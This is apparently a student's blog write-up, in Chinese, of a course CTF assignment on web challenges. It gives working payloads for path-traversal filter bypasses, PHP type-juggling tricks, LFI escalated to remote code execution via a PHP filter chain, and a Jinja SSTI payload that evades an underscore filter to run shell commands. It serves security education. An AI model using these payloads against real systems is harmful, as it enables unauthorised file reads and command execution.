806 字
4 分鐘
【網路安全實務與社會實踐】作業二 Write-up

作業二 Write-up by owl_d#

pathwalker-waf2#

發現這題的path traversal重點在這個區間

<?php
if (isset($_GET['page'])) {
$safe_path = str_replace('../', '', $_GET['page']);
echo file_get_contents("./page/".$safe_path.".php");
}
?>

程式只有把 ../ 換掉 所以可以使用 …/./ 的方式來 bypass …/./ 被換掉後會變成 ../ 就一樣可以達成回到上一層的目的

https://chall.nckuctf.org:28142/?page=..././..././..././..././var/www/html/flag 即取得flag

p.s. 這題沒辦法用 ..%2f 的方式來bypass,會被當成 ../ 過濾掉

swirl#

Stage 1:

<?php
include('config.php');
echo '<h1>👻 Stage 1 / 4</h1>';
$A = $_GET['A'];
$B = $_GET['B'];
highlight_file(__FILE__);
echo '<hr>';
if (isset($A) && isset($B))
if ($A != $B)
if (strcmp($A, $B) == 0)
if (md5($A) === md5($B))
echo "<a href=$stage2>Go to stage2</a>";
else die('ERROR: MD5(A) != MD5(B)');
else die('ERROR: strcmp(A, B) != 0');
else die('ERROR: A == B');
else die('ERROR: A, B should be given');

弱型態比較,可以使用 md5(array型態) = NULL 的性質來達成 payload: ?A[]=1&B[]=2

Stage 2:

<?php
include('config.php');
echo '<h1>👻 Stage 2 / 4</h1>';
$A = $_GET['A'];
$B = $_GET['B'];
highlight_file(__FILE__);
echo '<hr>';
if (isset($A) && isset($B))
if ($A !== $B){
$is_same = md5($A) == 0 and md5($B) === 0;
if ($is_same)
echo (md5($B) ? "QQ1" : md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2");
else die('ERROR: $is_same is false');
}
else die('ERROR: A, B should be given');

關鍵點應該在這: md5($B) ? "QQ1" : md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2" 看起來有點複雜,但我們可以一部分一部分拆開來看 md5($B) ? "QQ1" : (目標要到這邊) 可以看出來 b 必須得是 false,才能繼續往下 進到下一層後, md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2" 所以 md5($A) 必須得是0 整理一下條件:

  1. A 和 B 的值必須不同
  2. md5(A) 和 md5(B) 都必須等於 0
  3. md5(B) 必須為假值

payload: ?A[]=1&B[]=2

有趣的事: 意外發現 payload: ?A=true&B=false 也行得通 可是我自己做了實驗 image 發現程式根本就應該跳到 QQ1 就算 QQ1 被調過了應該也要跳去 QQ2 到現在我還是不懂是什麼神奇的機制繞過的,我再研究看看

Stage 3: .. 會變成 . 那 … 就會變成 .. 了! payload: ....\config.php (記得要打開網頁原始碼看!) image

Stage 4: 寫完這題發現 LCI 轉 RCE 真的是天才般的發現,太神了 先觀察題目source,會發現主要漏洞在:

  1. 使用了 extract($_POST) 函數,直接將 POST 請求中的參數轉換為變數
  2. 未經過濾的 include($👀) 語句,允許包含任意文件

所以先試了一下 POST 👀=/etc/passwd: 發現真的有回傳內容,代表 LFI 行得通 image

可是 👀=/flag 或者 👀=../../../flag.php 等等直接取 flag 的方式全部失敗 所以勢必得要 RCE 才能印出 flag 了

這次攻擊主要採用 PHP filter chain 來達成 https://github.com/synacktiv/php_filter_chain_generator/blob/main/README.md 指令:python3 php_filter_chain_generator.py --chain "<?php system('cat /flag*'); ?>" 送到 POST 的 👀 後面變取得 flag

p.s. 最後我還用了 python3 php_filter_chain_generator.py --chain "<?php system('ls /'); ?>" 回頭再看一下爲什麼當初試了快 5 個小時的 ../../flag.php 不管用 最後也看到了 flag 檔案有加後綴,所以 path traversal 其實不管用 image

SSTI-waf1#

一開始先送送看 {{7*7}} 發現真的回應 49 那肯定得是個 SSTI 了!

image 從source發現題目會擋掉 _ 底線 所以把底線用 \5f 來繞過 並且用 attr 代替 點 來做串接

一開始先用ls / 看根目錄有沒有值得注意的檔案 {{ cycler|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('ls /')|attr('read')() }} 發現網頁回應: image

有 flag 檔案,cat 一下便可以得到解答 payload: {{ cycler|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')() }}

【網路安全實務與社會實踐】作業二 Write-up
https://owld.tw/posts/作業二-write-up/
作者
owl_d
發佈於
2025-03-26
許可協議
CC BY-NC-SA 4.0